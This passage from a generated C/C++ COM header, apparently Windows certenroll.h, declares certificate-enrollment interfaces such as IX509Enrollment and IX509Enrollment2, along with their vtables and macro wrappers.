InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestCmc2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCmc2_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestCmc2_InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName) ) \n\n#define IX509CertificateRequestCmc2_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_TransactionId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TransactionId(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_TransactionId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_TransactionId(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SenderNonce(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SenderNonce(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_SenderNonce(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SenderNonce(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_ArchivePrivateKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ArchivePrivateKey(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_ArchivePrivateKey(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ArchivePrivateKey(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_KeyArchivalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyArchivalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_KeyArchivalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyArchivalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc2_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_EncryptionAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_EncryptionAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_EncryptionStrength(This,Value)\t\\\n    ( (This)->lpVtbl -> put_EncryptionStrength(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_EncryptedKeyHash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyHash(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_SignerCertificates(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificates(This,ppValue) ) \n\n\n#define IX509CertificateRequestCmc2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCmc2_InitializeFromInnerRequestTemplate(This,pInnerRequest,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequestTemplate(This,pInnerRequest,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCmc2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestCmc2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#define IX509CertificateRequestCmc2_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestCmc2_CheckCertificateSignature(This,pSignerCertificate,ValidateCertificateChain)\t\\\n    ( (This)->lpVtbl -> CheckCertificateSignature(This,pSignerCertificate,ValidateCertificateChain) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCmc2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0086 */\n/* [local] */ \n\ntypedef \nenum InstallResponseRestrictionFlags\n    {\n        AllowNone\t= 0,\n        AllowNoOutstandingRequest\t= 0x1,\n        AllowUntrustedCertificate\t= 0x2,\n        AllowUntrustedRoot\t= 0x4\n    } \tInstallResponseRestrictionFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0086_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0086_v0_0_s_ifspec;\n\n#ifndef __IX509Enrollment_INTERFACE_DEFINED__\n#define __IX509Enrollment_INTERFACE_DEFINED__\n\n/* interface IX509Enrollment */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Enrollment;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab346-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Enrollment : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext Context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplateName( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromRequest( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pRequest) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE CreateRequest( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Enroll( void) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InstallResponse( \n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CreatePFX( \n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ PFXExportOptions ExportOptions,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Request( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NameValuePairs( \n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnrollmentContext( \n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Status( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Certificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Response( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CertificateFriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CertificateFriendlyName( \n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CertificateDescription( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CertificateDescription( \n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestId( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CAConfigString( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Enrollment * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Enrollment * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Enrollment * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Enrollment * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromRequest )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pRequest);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateRequest )( \n            __RPC__in IX509Enrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Enroll )( \n            __RPC__in IX509Enrollment * This);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InstallResponse )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreatePFX )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ PFXExportOptions ExportOptions,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Request )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509Enrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Response )( \n            __RPC__in IX509Enrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateDescription )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateDescription )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestId )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CAConfigString )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509EnrollmentVtbl;\n\n    interface IX509Enrollment\n    {\n        CONST_VTBL struct IX509EnrollmentVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Enrollment_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Enrollment_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Enrollment_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Enrollment_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Enrollment_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Enrollment_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Enrollment_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Enrollment_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509Enrollment_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509Enrollment_InitializeFromRequest(This,pRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromRequest(This,pRequest) ) \n\n#define IX509Enrollment_CreateRequest(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRequest(This,Encoding,pValue) ) \n\n#define IX509Enrollment_Enroll(This)\t\\\n    ( (This)->lpVtbl -> Enroll(This) ) \n\n#define IX509Enrollment_InstallResponse(This,Restrictions,strResponse,Encoding,strPassword)\t\\\n    ( (This)->lpVtbl -> InstallResponse(This,Restrictions,strResponse,Encoding,strPassword) ) \n\n#define IX509Enrollment_CreatePFX(This,strPassword,ExportOptions,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreatePFX(This,strPassword,ExportOptions,Encoding,pValue) ) \n\n#define IX509Enrollment_get_Request(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Request(This,pValue) ) \n\n#define IX509Enrollment_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509Enrollment_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509Enrollment_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509Enrollment_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509Enrollment_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509Enrollment_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509Enrollment_get_Status(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,ppValue) ) \n\n#define IX509Enrollment_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509Enrollment_get_Response(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Response(This,Encoding,pValue) ) \n\n#define IX509Enrollment_get_CertificateFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateFriendlyName(This,pValue) ) \n\n#define IX509Enrollment_put_CertificateFriendlyName(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateFriendlyName(This,strValue) ) \n\n#define IX509Enrollment_get_CertificateDescription(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateDescription(This,pValue) ) \n\n#define IX509Enrollment_put_CertificateDescription(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateDescription(This,strValue) ) \n\n#define IX509Enrollment_get_RequestId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestId(This,pValue) ) \n\n#define IX509Enrollment_get_CAConfigString(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CAConfigString(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Enrollment_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Enrollment2_INTERFACE_DEFINED__\n#define __IX509Enrollment2_INTERFACE_DEFINED__\n\n/* interface IX509Enrollment2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Enrollment2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab350-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Enrollment2 : public IX509Enrollment\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InstallResponse2( \n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestIdString( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509Enrollment2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Enrollment2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Enrollment2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Enrollment2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromRequest )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pRequest);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateRequest )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Enroll )( \n            __RPC__in IX509Enrollment2 * This);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InstallResponse )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreatePFX )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ PFXExportOptions ExportOptions,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Request )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE 